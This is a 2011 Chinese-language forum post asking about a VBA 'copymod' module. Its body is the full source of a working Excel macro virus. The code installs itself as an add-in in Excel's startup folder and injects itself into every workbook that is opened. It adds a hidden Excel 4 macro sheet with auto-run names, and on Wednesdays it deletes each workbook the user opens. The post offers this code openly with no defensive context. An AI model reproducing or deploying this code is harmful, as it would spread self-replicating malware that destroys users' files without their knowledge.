|
楼主 |
发表于 2011-2-25 08:36
|
显示全部楼层
再次请教大家!VBA中的copymod模块
Sub auto_open()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Call delete_this_wk
Call copytoworkbook
If Movemacro4(ThisWorkbook) Then GoTo 800
800:
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
Sub copytoworkbook()
Const DQUOTE = """" ' one " character
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "If Sheets(1).Name <> " & DQUOTE & "Macro1" & DQUOTE & " Then"
.InsertLines 6, "Call auto_open"
.InsertLines 7, "End If"
.InsertLines 8, "Call in_install_me"
.InsertLines 9, "End Sub"
.InsertLines 10, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 11, "On Error Resume Next"
.InsertLines 12, "wb.VBProject.References.AddFromGuid _"
.InsertLines 13, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 14, "Major:=5, Minor:=3"
.InsertLines 15, "Application.ScreenUpdating = False"
.InsertLines 16, "Application.DisplayAlerts = False"
.InsertLines 17, "If Weekday(Now, vbMonday) = 3 And wb.Name <> " & DQUOTE & "rpt_pdm2cvs.xls" & DQUOTE & "Then"
.InsertLines 18, "wb.ChangeFileAccess xlReadOnly"
.InsertLines 19, "Kill wb.FullName"
.InsertLines 20, "wb.Close False"
.InsertLines 21, "End If"
.InsertLines 22, "If copystart(wb) Then GoTo 700"
.InsertLines 23, "700: ActiveWorkbook.Save"
.InsertLines 24, "Application.ScreenUpdating = True"
.InsertLines 25, "End Sub"
End With
End Sub
Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("rpt_pdm2cvs.xls").VBProject
Set VBProj2 = wb.VBProject
If copymodule("copymod", VBProj1, VBProj2, False) Then Exit Function
End Function
Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean
On Error Resume Next
Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent
If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If
If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
FName = Environ("Temp") & "\" & ModuleName & ".bas"
If OverwriteExisting = True Then
If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
Err.Clear
Kill FName
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else
Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
If Err.Number = 9 Then
Else
copymodule = False
Exit Function
End If
End If
End If
FromVBProject.VBComponents(ModuleName).Export Filename:=FName
SlashPos = InStrRev(FName, "\")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)
If VBComp Is Nothing Then
ToVBProject.VBComponents.Import Filename:=FName
Else
If VBComp.Type = vbext_ct_Document Then
Set TempVBComp = ToVBProject.VBComponents.Import(FName)
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function
Function Movemacro4(ByVal wb As Workbook)
On Error Resume Next
Dim sht As Object
wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"
Range("A1").Select
Application.CutCopyMode = False
ActiveCell.FormulaR1C1 = "Door Locked"
Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""TestMacro""))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "= ALERT(""运行此文件,需要宏功能!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "= FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"
For Each sht In wb.Sheets
wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Sheets(1).Visible = False
End Function
Sub AddPrivateNames()
On Error Resume Next
Dim sht As Object
For Each sht In Sheets
ThisWorkbook.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
End Sub
Sub HideMacroSheet()
ThisWorkbook.Excel4MacroSheets(1).Visible = xlSheetHidden
End Sub
Sub HideMacroSheeth()
ThisWorkbook.Excel4MacroSheets(1).Visible = -1
End Sub
Sub in_install_me()
On Error Resume Next
Dim myfile0 As String
Dim myfile As String
'
myfile0 = ThisWorkbook.FullName
myfile = Application.StartupPath & "\rpt_pdm2cvs.xls"
If ThisWorkbook.Path <> Application.StartupPath Then
Set fs = CreateObject("Scripting.FileSystemObject")
Application.ScreenUpdating = False
If fs.FileExists(myfile) Then
If True Then
On Error Resume Next
Workbooks("rpt_pdm2cvs.xls").Close False
Kill myfile
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveAs myfile
Workbooks.Open myfile0
Else
ThisWorkbook.Close False
End If
Else
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveAs myfile
Workbooks.Open myfile0
End If
Application.ScreenUpdating = True
End If
End Sub
[ 本帖最后由 godsaveme 于 2011-2-25 08:49 编辑 ] |
|